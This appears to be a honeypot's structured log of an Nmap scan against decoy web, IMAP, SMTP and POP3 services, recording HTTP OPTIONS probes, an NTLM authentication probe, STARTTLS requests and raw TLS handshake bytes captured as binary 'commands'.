  <134>1 2026-04-08T04:32:45.518882+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/favicon.ico" remote_addr="192.168.1.5" headers="{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}" body=""]

fields:
  {"method": "GET", "path": "/favicon.ico", "remote_addr": "192.168.1.5", "headers": "{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "46808"}
raw_line:
  <134>1 2026-04-08T04:32:45.522434+00:00 decky-webmail imap - connect [decnet@55555 src="192.168.1.5" src_port="46808"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.522593+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Origin': 'example.com', 'Connection': 'close', 'Access-Control-Request-Method': 'DELETE', 'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Origin': 'example.com', 'Connection': 'close', 'Access-Control-Request-Method': 'DELETE', 'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "46824"}
raw_line:
  <134>1 2026-04-08T04:32:45.523103+00:00 decky-webmail imap - connect [decnet@55555 src="192.168.1.5" src_port="46824"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.523193+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Origin': 'example.com', 'Connection': 'close', 'Access-Control-Request-Method': 'TRACE', 'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Origin': 'example.com', 'Connection': 'close', 'Access-Control-Request-Method': 'TRACE', 'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": "000b AUTHENTICATE NTLM"}
raw_line:
  <134>1 2026-04-08T04:32:45.526709+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="000b AUTHENTICATE NTLM"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.526838+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Origin': 'example.com', 'Connection': 'close', 'Access-Control-Request-Method': 'OPTIONS', 'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Origin': 'example.com', 'Connection': 'close', 'Access-Control-Request-Method': 'OPTIONS', 'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": "TlRMTVNTUAABAAAAB4IIoAAAAAAAAAAAAAAAAAAAAAA="}
raw_line:
  <134>1 2026-04-08T04:32:45.527952+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="TlRMTVNTUAABAAAAB4IIoAAAAAAAAAAAAAAAAAAAAAA="]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.528983+00:00 decky-webmail imap - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.529094+00:00 decky-webmail imap - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.529093+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Origin': 'example.com', 'Connection': 'close', 'Access-Control-Request-Method': 'CONNECT', 'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Origin': 'example.com', 'Connection': 'close', 'Access-Control-Request-Method': 'CONNECT', 'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.532765+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Origin': 'example.com', 'Connection': 'close', 'Access-Control-Request-Method': 'PATCH', 'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Origin': 'example.com', 'Connection': 'close', 'Access-Control-Request-Method': 'PATCH', 'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: smtp
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "39490"}
raw_line:
  <134>1 2026-04-08T04:32:45.544239+00:00 decky-webmail smtp - connect [decnet@55555 src="192.168.1.5" src_port="39490"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: smtp
event_type: ehlo
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "domain": "nmap.scanme.org"}
raw_line:
  <134>1 2026-04-08T04:32:45.544576+00:00 decky-webmail smtp - ehlo [decnet@55555 src="192.168.1.5" domain="nmap.scanme.org"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
fields: {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{}", "body": ""}
raw_line:
  <134>1 2026-04-08T04:32:45.544692+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{}" body=""]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.545200+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: smtp
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.545544+00:00 decky-webmail smtp - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: smtp
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "39494"}
raw_line:
  <134>1 2026-04-08T04:32:45.545703+00:00 decky-webmail smtp - connect [decnet@55555 src="192.168.1.5" src_port="39494"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: smtp
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "39496"}
raw_line:
  <134>1 2026-04-08T04:32:45.545844+00:00 decky-webmail smtp - connect [decnet@55555 src="192.168.1.5" src_port="39496"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: smtp
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.545941+00:00 decky-webmail smtp - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: smtp
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.546026+00:00 decky-webmail smtp - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "49108"}
raw_line:
  <134>1 2026-04-08T04:32:45.546115+00:00 decky-webmail pop3 - connect [decnet@55555 src="192.168.1.5" src_port="49108"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": "STLS"}
raw_line:
  <134>1 2026-04-08T04:32:45.546344+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="STLS"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.546453+00:00 decky-webmail pop3 - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "49124"}
raw_line:
  <134>1 2026-04-08T04:32:45.546550+00:00 decky-webmail pop3 - connect [decnet@55555 src="192.168.1.5" src_port="49124"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T04:32:45.546634+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="($m|0�Z�bR�
  ��"]

fields:
  {"src": "192.168.1.5", "cmd": "\u0016\u0003\u0001\u0006(\u0001\u0000\u0006$\u0003\u0003m|0\ufffdZ\ufffdbR\ufffd\u0015\f\ufffd\ufffd"}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": "T\ufffd"}
raw_line:
  <134>1 2026-04-08T04:32:45.546720+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="T�"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.546774+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="�l�S��Z}:�� y��^
  ���ҡ�b
  k}c��t+m)G_�s�1;�>r395/�,�0�̨̩̪�����\]�a�S�+�/������\\�`�R�$�(k�s�w��#�'g�r�v��"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T04:32:45.546841+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="���	�E����Q����P=�<��Ai�
  "]

fields:
  {"src": "192.168.1.5", "cmd": "\ufffd\u0014\u0000\ufffd\ufffd\t\ufffd\u0013\u0000E\u0000\ufffd\ufffd\ufffd\ufffdQ\u0000\ufffd\ufffd\ufffd\ufffdP\u0000=\u0000\ufffd\u0000<\u0000\ufffd\u0000\ufffd\u0000A\u0001\u0000\u0005i\ufffd\u0001\u0000\u0001\u0000\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000"}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T04:32:45.546902+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="
  ���
  
  #
  (&				"]

fields:
  {"src": "192.168.1.5", "cmd": "\u0000\u001c\u0000\u001a\u0011\ufffd\u0011\ufffd\u0011\ufffd\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0001\u0000\u0001\u0001\u0001\u0002\u0001\u0003\u0001\u0004\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u0000(\u0000&\t\u0004\t\u0005\t\u0006\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b"}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T04:32:45.546959+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="
  +-3����L�{����N
  �'PȞ[�`��c8G<x-�K�����tDa ۘ`TF�'�%TK��Fu�\\��t�6>�P%���ն��x�����
  �P|��j7"]

fields:
  {"src": "192.168.1.5", "cmd": "\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0003\u0001\u0000+\u0000\u0005\u0004\u0003\u0004\u0003\u0003\u0000-\u0000\u0002\u0001\u0001\u00003\u0004\ufffd\u0004\ufffd\u0011\ufffd\u0004\ufffdL\ufffd{\u001b\ufffd\ufffd\ufffd\ufffdN\u001d\ufffd'P\u021e[\ufffd`\u001b\ufffd\ufffdc8G<x-\b\u0010\ufffdK\ufffd\ufffd\ufffd\ufffd\ufffdtDa \u06d8`TF\ufffd'\ufffd%TK\ufffd\ufffdFu\ufffd\\\ufffd\ufffdt\ufffd6>\ufffdP%\ufffd\ufffd\ufffd\u0576\u0014\ufffd\ufffdx\ufffd\ufffd\ufffd\ufffd\ufffd\u001d\ufffdP|\ufffd\ufffdj7"}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.547020+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="�7�*�x�Nw
  ZŽUk2o��!X��ԫ�l�
  #_�
  �0�BR���\]q���y���7�W=^E�􈠌uk��%sZ��S�0�<$+_�D��(�ۼ�\\���ѕ��wI�񡟐;(>A����ؼu��
  �{�|��j["]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T04:32:45.547092+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="/z���T��YvNOb3GAD�@Yb�::�m��ep;'W-S֭K�T�|30L.��/1�d�l/��&�!�
  Чa�I}ns��Y��K�x(kc��w�?'3�tT�ق��1慼i����y�������K_"]

fields:
  {"src": "192.168.1.5", "cmd": "/z\ufffd\ufffd\ufffd\u0016T\ufffd\ufffdYvN\u0015\u0007Ob3GAD\ufffd@Yb\ufffd::\u0006\ufffdm\ufffd\ufffdep;'\u0017W-S\u05adK\ufffdT\ufffd|30L.\ufffd\ufffd/\u00151\u0015\u0018\ufffdd\ufffdl/\ufffd\ufffd&\ufffd!\ufffd\u0004\f\u0427a\ufffdI}ns\ufffd\ufffdY\ufffd\ufffd\u001bK\ufffdx\u0011(kc\ufffd\ufffdw\ufffd?'3\u0011\ufffdtT\ufffd\u0642\ufffd\ufffd1\u617ci\ufffd\ufffd\u001f\u0011\u0005\u0015\ufffd\ufffd\u007fy\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\u0018\ufffdK_"}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.547159+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="�EPc�@���\]�a�t_ȉ����C $8:���^�<gf��1�)_3$}��e��Pi}1��Pl\]�����{w�?�-��_F��+�jo�y~%V��	�K�,�J^�~����,����66�dQ�"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T04:32:45.547212+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="����9[�
  ��_@���Yªa3@ Q�.u�X�Vǰ
  �K{�1�.�*0�T�Ɂ"]

fields:
  {"src": "192.168.1.5", "cmd": "\ufffd\ufffd\ufffd\u001a\ufffd9[\ufffd\f\ufffd\ufffd_@\ufffd\ufffd\ufffdY\u00aaa\u00133@ Q\ufffd.u\ufffdX\ufffdV\u01f0\u001c\ufffdK{\ufffd1\ufffd.\ufffd*0\ufffd\u001aT\ufffd\u0241"}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "49140"}
raw_line:
  <134>1 2026-04-08T04:32:45.547302+00:00 decky-webmail pop3 - connect [decnet@55555 src="192.168.1.5" src_port="49140"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T04:32:45.547392+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="WSi��m�
  ���=2K�:��(�)I
  �Ih��g�H"]

fields:
  {"src": "192.168.1.5", "cmd": "\u0016\u0003\u0001\u0000W\u0001\u0000\u0000S\u0003\u0003i\ufffd\ufffdm\ufffd\u000b\ufffd\ufffd\ufffd=2K\ufffd:\ufffd\ufffd(\ufffd)I\f\u007f\ufffdIh\ufffd\u0004\ufffdg\ufffdH\u0000\u0000"}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": "\u0000/\u0000"}
raw_line:
  <134>1 2026-04-08T04:32:45.547469+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="/"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.547551+00:00 decky-webmail pop3 - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.547629+00:00 decky-webmail pop3 - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "46836"}
raw_line:
  <134>1 2026-04-08T04:32:45.547566+00:00 decky-webmail imap - connect [decnet@55555 src="192.168.1.5" src_port="46836"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "46848"}
raw_line:
  <134>1 2026-04-08T04:32:45.547859+00:00 decky-webmail imap - connect [decnet@55555 src="192.168.1.5" src_port="46848"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.547969+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="($#�����
  ���#\"�,
  ��m����sd��o1� k�r
  A�1�Z�1Ka$�9{�I�E���G�r395/�,�0�̨̩̪�����\]�a�S�+�/������\\�`�R"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T04:32:45.548059+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="���	�E����Q����P=�<��Ai�
  "]

fields:
[cell repeats an earlier one in this file: 306 characters]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T04:32:45.548124+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="
  ���
  
  #
  (&				"]

fields:
[cell repeats an earlier one in this file: 380 characters]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.548183+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="
  +-3�����OY7)1Yy�7tko){
  �\"\]����Eq�u�:rt����"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": "\u0002\ufffd\ufffd\u001cm\ufffd\u0012Q\u001a\u0604#%\ufffd"}
raw_line:
  <134>1 2026-04-08T04:32:45.548238+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="��
  m�Q؄#%�"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T04:32:45.548286+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="K��
  �s@)Q;К-�e0Ȼ�2�
  �F3��4�5�Z͵�#�6�2�F6�\\K��8D�zkЯ{hm��i,�uLH9r�Q���ꦧ&:fo����q�U_=T�kgF��B����xś�|�H���
  �1�W
  vC��"]

fields:
  {"src": "192.168.1.5", "cmd": "K\ufffd\ufffd\u0016\f\ufffds@)Q;\u041a-\ufffde\u00050\u023b\ufffd2\ufffd\u001d\ufffd\u0002F3\ufffd\ufffd4\ufffd5\ufffdZ\u0375\ufffd#\ufffd\u00126\ufffd2\ufffdF6\ufffd\\K\ufffd\ufffd8D\ufffdzk\u042f{hm\ufffd\ufffdi,\ufffduL\u0019\u0007H9r\ufffd\u0007\u0017Q\ufffd\ufffd\ufffd\ua9a7&:\u0001fo\ufffd\ufffd\ufffd\u0003\ufffdq\ufffdU_=T\ufffdk\u0010gF\u0012\ufffd\u0004\ufffdB\ufffd\u0018\ufffd\ufffd\ufffdx\u015b\ufffd|\ufffdH\ufffd\ufffd\ufffd\r\ufffd1\ufffdW\u001cvC\ufffd\ufffd"}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T04:32:45.548341+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="���Z��+�e��.��$)&KC���֤�?�j#k�@raE�$F���Ҟ�7������feڨNY��7
  "]

fields:
  {"src": "192.168.1.5", "cmd": "\ufffd\ufffd\ufffdZ\ufffd\ufffd+\u0001\ufffde\ufffd\ufffd.\ufffd\ufffd$\u001b)&KC\ufffd\ufffd\ufffd\u0015\u05a4\ufffd?\ufffdj\u0003#k\ufffd@raE\ufffd$F\b\ufffd\ufffd\u001b\ufffd\u049e\ufffd7\ufffd\ufffd\ufffd\ufffd\u0005\ufffd\ufffd\u0016f\u000fe\u000f\u06a8\u0013NY\ufffd\u0002\ufffd\u007f\u00047\f\u0002"}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T04:32:45.548392+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="�Ǭ:
  hvL�9�'/�x
  ����e0�'����EPγ�v��DP\\��~|t_��S8+,gu؏2c;f֮��N0
  ���=�Q�U{��"]

fields:
  {"src": "192.168.1.5", "cmd": "\u0006\ufffd\u0010\u0006\u01ec:\u001ehvL\ufffd9\ufffd'/\ufffdx\u001d\ufffd\ufffd\ufffd\ufffde0\ufffd'\u0007\ufffd\ufffd\ufffd\ufffdEP\u03b3\ufffdv\ufffd\ufffdD\bP\\\ufffd\ufffd~|t_\ufffd\u0017\ufffd\u0019S8\u0012+,gu\u060f2c;f\u05ae\ufffd\ufffdN0\f\ufffd\ufffd\ufffd=\ufffdQ\ufffdU{\ufffd\ufffd"}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T04:32:45.548445+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="���y�u�aάj�O���kid@6h$4�¤V�[��j*�~̸�IZik�ͺ�yzZ�[���i������~ڨ�\"c��&���x7j�c}w�D��yB�W����:����gVuE��#��?�Q}u_CLs[!�x`~"]

fields:
  {"src": "192.168.1.5", "cmd": "\ufffd\ufffd\ufffd\u0004y\ufffdu\u0012\u0011\ufffda\u03acj\ufffdO\ufffd\ufffd\ufffdkid@6h$4\ufffd\u00a4V\ufffd[\ufffd\ufffdj*\ufffd~\u0338\ufffdIZik\ufffd\u037a\ufffdyzZ\ufffd[\ufffd\ufffd\ufffdi\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd~\u06a8\ufffd\"c\b\ufffd\ufffd&\ufffd\ufffd\ufffdx7j\ufffdc}\u0000w\u0010\ufffdD\ufffd\ufffdy\u0018B\ufffdW\u0019\ufffd\ufffd\ufffd\ufffd:\ufffd\ufffd\u001b\ufffd\ufffdgVuE\ufffd\ufffd#\ufffd\ufffd?\ufffd\bQ}u_CLs\u0017[!\ufffdx`~"}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T04:32:45.548504+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd=",eѾ��><��@8�b�H�*�Q��d"]

fields:
  {"src": "192.168.1.5", "cmd": ",e\u047e\ufffd\ufffd><\u001b\ufffd\ufffd@8\ufffdb\ufffd\u007fH\ufffd*\ufffdQ\ufffd\ufffd\bd"}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T04:32:45.548555+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="/���|/4Ox+�R\"$&|�|�G�tF&�:oj�:8�z6;
  �&��F4�aVh�:�(E(:�\\���i�A
  ϕ�[���p9��DP��X�VyWs�8�kJp�iv���tBU�eL��Ҽ�{�
  ��w�N"]

fields:
  {"src": "192.168.1.5", "cmd": "/\u0017\ufffd\u0017\ufffd\ufffd|/4Ox\u0012+\ufffdR\"$&|\ufffd|\ufffdG\ufffdt\u000eF&\ufffd:oj\ufffd:8\ufffd\u0018z6;\u001c\ufffd&\ufffd\ufffdF\u001f4\ufffdaVh\ufffd:\ufffd(E(:\ufffd\\\ufffd\ufffd\u007f\ufffdi\ufffdA\u000b\u03d5\ufffd[\ufffd\u0007\ufffd\ufffdp9\ufffd\ufffdDP\ufffd\ufffdX\ufffdVyWs\ufffd8\ufffdkJp\ufffdi\u0003v\ufffd\u0012\ufffd\u0099\ufffdt\u0005BU\u0000\ufffdeL\ufffd\u0005\ufffd\u04bc\ufffd\u0012{\ufffd\u001c\ufffd\ufffdw\ufffdN\u0012"}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.548609+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="�L.dw����[\]8�̀�鐐A�/d�y���U(9������q�RpB%,R��u�j�[�#
  �_k�>:4-5�͓r�� �t_�kGџ�ï�P<4�fC������bQ���	.â�e�ly|{R�wD���Z"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "46850"}
raw_line:
  <134>1 2026-04-08T04:32:45.548715+00:00 decky-webmail imap - connect [decnet@55555 src="192.168.1.5" src_port="46850"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T04:32:45.548803+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="WSi��mD:=�!b
  -h��FC8b��%Tn$��"]

fields:
  {"src": "192.168.1.5", "cmd": "\u0016\u0003\u0001\u0000W\u0001\u0000\u0000S\u0003\u0003i\ufffd\ufffdmD:=\ufffd!b\u000e\f-h\ufffd\ufffdFC8b\u0016\ufffd\ufffd%Tn$\u0012\ufffd\ufffd\u0000\u0000"}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
